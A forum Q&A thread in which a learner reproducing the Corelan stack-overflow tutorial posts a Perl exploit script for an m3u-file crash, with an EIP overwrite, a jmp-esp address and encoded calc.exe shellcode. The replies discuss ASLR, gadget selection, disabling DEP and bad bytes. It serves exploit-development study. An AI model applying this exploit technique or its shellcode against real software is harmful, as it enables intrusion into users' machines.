1

I am following corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ to reproduce the exploit.

Firstly, I found the position of EIP was after the 26089 As (at 0016F454), and the ESP was 4 characters after EIP (at 0016F45C) according to the following code:

my $file= "eipcrash.m3u";
my $junk= "A" x 26089; 
my $eip = pack('V', 0x444444); 

my $shellcode = "\x90" x 4 ;

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);

Results: i.stack.imgur.com/LmPG8.png

I find the pointer to jmp-esp instruction by !mona find -type instr -s "jmp esp" -x X. I use 0x7457AC5B one.

Results: https://i.stack.imgur.com/iUoVY.png

I carefully made everything looked working. Finalized code:

my $file= "eipcrash.m3u";
my $junk= "A" x 26089; 
my $eip = pack('V', 0x7457AC5B); #0x6F90E8EC  0x1001B058       0x7457AC5B

my $shellcode = "\x90" x 4 ;

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode .
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Final results: https://i.stack.imgur.com/JSwKt.png

It just doesn't work! I believe that my EIP and position of shellcode are correct, so the problem might be the effectiveness of the shellcode. I tried shellcodes of launching calc.exe from a different website, but none worked.

Why isn't it working? I'm using Windows 10 x64. Please guide me since I've been stuck on this for weeks, and I have scrutinized similar problems' articles on the web. I've really got no idea.

Thanks in advance.

helencrump
  • 1,351
  • 1
  • 18
  • 27
aheh
  • 13
  • 3

2 Answers2

1
  • Target OS:
    Watch out! ==> ASLR!!!
    In the tutorial, the target seems to be "Windows XP SP3 (En)", and he tested on a "Windows XP [Version 5.1.2600]".
    In the comments, there's a positive feedback of the procedure working on "Win7 Prof Ver 6.1.7600 English" with ASLR, even after reboot. And you are testing on Windows 10, obviously with ASLR.
  • Reliability across Windows platforms:
    I confirm! You have indeed control over the EIP 0016F454 (we see "DDDD"), ESP points at 0016F45C(shellcode).
    Did you try different instructions? (jmp,call, or push-ret).
    You used 0x7457AC5B ==> "jmp-esp" in cfgmgr32.dll.
    Did you try 0x035bf23a ==> "jmp-esp" in MSRMCcodec02.dll?
  • Try to find reliable pointers:
    pvefindaddr j -r esp -n -o (Immunity Debugger or anything). And it's always better to avoid "SafeSEH" and "ASLR".
Seb B.
  • 677
  • 6
  • 15
  • Thanks! Now I understand, the address of pointer to esp instruction is variable. I use `!mona find -type instr -s "jmp esp" -x X -cm aslr=false` to find the address **everytime when the program runs (when UI of the exploitable program appears)**, then use this address in my Perl code to generate shellcode (so that the EIP pointer MUST work). But no avail It shows `access violation when executing [7C862AED]` in which 7c862aed are the 20-23th characters of my shellcode of launching calc. So, problem is shellcode.Should I generate the shellcoode spawning calc.exe for Win10 x64 myself? How? – aheh Nov 07 '15 at 03:37
  • Did you try with DEP [disabled](https://techjourney.net/disable-and-turn-off-or-enable-or-turn-on-data-execution-prevention-dep-in-windows/)? `bcdedit.exe /set nx optin` or `bcdedit.exe /set nx AlwaysOff`. With AllwaysOff, you might need to disable secure boot. With optin, you should use pointers from the exploited-prog's components. – Seb B. Nov 07 '15 at 05:52
0

Did you check for bad bytes? Quite often certain bytes are used by file parsers as magic markers and can cause your shellcode to not be copied in full or translated to corrupt shell code. You can use the bytearray feature of mona to assist you with identifying bad bytes (https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/)

wireghoul
  • 121
  • 10
  • Thanks for the advice. But after I checked it thoroughly, none characters except NULL are bad bytes. – aheh Nov 09 '15 at 08:38